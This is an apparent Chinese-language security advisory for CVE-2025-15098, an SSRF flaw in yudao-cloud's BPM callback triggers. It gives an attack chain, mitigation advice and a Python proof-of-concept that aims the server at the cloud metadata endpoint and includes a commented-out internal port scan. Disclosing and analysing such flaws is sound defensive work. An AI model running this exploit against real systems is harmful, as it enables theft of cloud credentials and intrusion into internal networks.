IPBUF安全漏洞报告
English
CVE-2025-15098 CVSS 6.3 中危

CVE-2025-15098 yudao-cloud BPM组件SSRF漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-15098
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
YunaiV yudao-cloud

相关标签

服务器端请求伪造SSRFyudao-cloudBPMCVE-2025-15098云平台漏洞业务系统漏洞远程代码利用

漏洞概述

CVE-2025-15098是YunaiV yudao-cloud企业级云平台中的一个中等严重性安全漏洞。该漏洞存在于业务流程管理(BPM)组件中,具体影响BpmHttpCallbackTrigger和BpmSyncHttpRequestTrigger两个功能函数。攻击者可以通过操纵url、header和body参数,诱导服务器向任意内部或外部资源发起请求,从而实现服务器端请求伪造攻击。由于该漏洞可通过远程网络利用,且对认证权限要求较低,低权限用户即可发起攻击,对系统的机密性、完整性和可用性均造成较低程度的影响。漏洞已于2025年12月26日公开披露,厂商在收到早期通知后未做任何回应。

技术细节

该漏洞属于典型的服务器端请求伪造(SSRF)类型,存在于yudao-cloud的BPM模块中。攻击者利用BpmHttpCallbackTrigger或BpmSyncHttpRequestTrigger函数对用户可控的URL参数缺乏严格校验的缺陷,可以指定任意URL地址(包括内网IP、localhost、云元数据接口等敏感地址)。当服务器执行回调或同步HTTP请求时,会以服务器自身的身份和权限向攻击者指定的地址发起请求,从而实现端口扫描、内网服务探测、读取云环境元数据、绕过防火墙访问内部系统等恶意操作。由于yudao-cloud通常部署在企业核心业务环境,攻击成功后可能进一步导致敏感数据泄露或横向移动。

攻击链分析

STEP 1
步骤1
攻击者识别yudao-cloud BPM模块的BpmHttpCallbackTrigger或BpmSyncHttpRequestTrigger端点
STEP 2
步骤2
攻击者使用低权限账号(如普通员工账户)构造恶意HTTP请求
STEP 3
步骤3
在url参数中注入内部地址(如localhost、192.168.x.x、云元数据接口169.254.169.254)
STEP 4
步骤4
服务器以自身权限和身份向攻击者指定的内部地址发起HTTP请求
STEP 5
步骤5
攻击者通过响应内容获取内部服务信息、敏感元数据或云凭证
STEP 6
步骤6
利用获取的敏感信息进一步横向移动或提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15098 PoC - SSRF in yudao-cloud BPM Component # Target: BpmHttpCallbackTrigger or BpmSyncHttpRequestTrigger TARGET_URL = "http://target-server/api/bpm/callback/trigger" SSRF_TARGET = "http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint def exploit_ssrf(target_url, ssrf_url): """ Exploit SSRF vulnerability by manipulating the url parameter in BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger """ payload = { 'url': ssrf_url, 'header': '{"Content-Type": "application/json"}', 'body': '{"callback_data": "test"}', 'method': 'GET' } try: print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Target URL: {ssrf_url}") response = requests.post(target_url, json=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def check_internal_port(target_url, internal_ip, port): """Check internal network ports via SSRF""" ssrf_url = f"http://{internal_ip}:{port}" payload = {'url': ssrf_url} try: response = requests.post(target_url, json=payload, timeout=5) print(f"[*] Port {port}: Reachable (Status {response.status_code})") return True except: print(f"[*] Port {port}: Not reachable or filtered") return False if __name__ == "__main__": print("CVE-2025-15098 SSRF PoC") print("=" * 50) # Example 1: AWS metadata SSRF exploit_ssrf(TARGET_URL, SSRF_TARGET) # Example 2: Internal port scan # for port in [22, 80, 443, 3306, 6379]: # check_internal_port(TARGET_URL, "127.0.0.1", port)

影响范围

YunaiV yudao-cloud <= 2025.11

防御指南

临时缓解措施
在官方补丁发布前,建议通过配置网络访问控制列表(ACL)限制BPM组件的网络访问权限,仅允许必要的出站流量;同时对相关API端点实施严格的身份认证和权限控制,监控异常请求日志,及时发现和阻断潜在的SSRF攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表